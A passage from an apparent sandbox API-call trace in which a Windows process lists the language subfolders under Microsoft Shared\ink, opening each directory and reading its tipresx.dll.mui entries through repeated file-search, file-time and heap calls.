lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.114] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5e20 [0047.114] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5e20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5e20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5e20) returned 1 [0047.116] NtClose (Handle=0x160) returned 0x0 [0047.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.129] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.129] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.130] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5658 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4ce8 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.130] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.130] GetLastError () returned 0x12 [0047.130] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.130] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.130] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.130] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.130] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.130] GetLastError () returned 0x12 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.130] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.130] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.135] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5e20 [0047.135] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5e20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5e20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5e20) returned 1 [0047.135] NtClose (Handle=0x16c) returned 0x0 [0047.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.135] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.135] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.135] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5678 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4df0 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.136] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.136] GetLastError () returned 0x12 [0047.136] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.136] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.136] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.136] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.136] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.136] GetLastError () returned 0x12 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.136] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.136] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.137] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5e20 [0047.137] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5e20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5e20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5e20) returned 1 [0047.137] NtClose (Handle=0x160) returned 0x0 [0047.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.137] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5698 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4ef8 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x480) returned 0x9e5e20 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d63e8) returned 1 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.138] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.138] GetLastError () returned 0x12 [0047.138] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.138] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.138] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.138] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.138] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.138] GetLastError () returned 0x12 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.138] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.138] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.139] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0047.139] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0047.139] NtClose (Handle=0x16c) returned 0x0 [0047.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.139] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.139] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.140] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 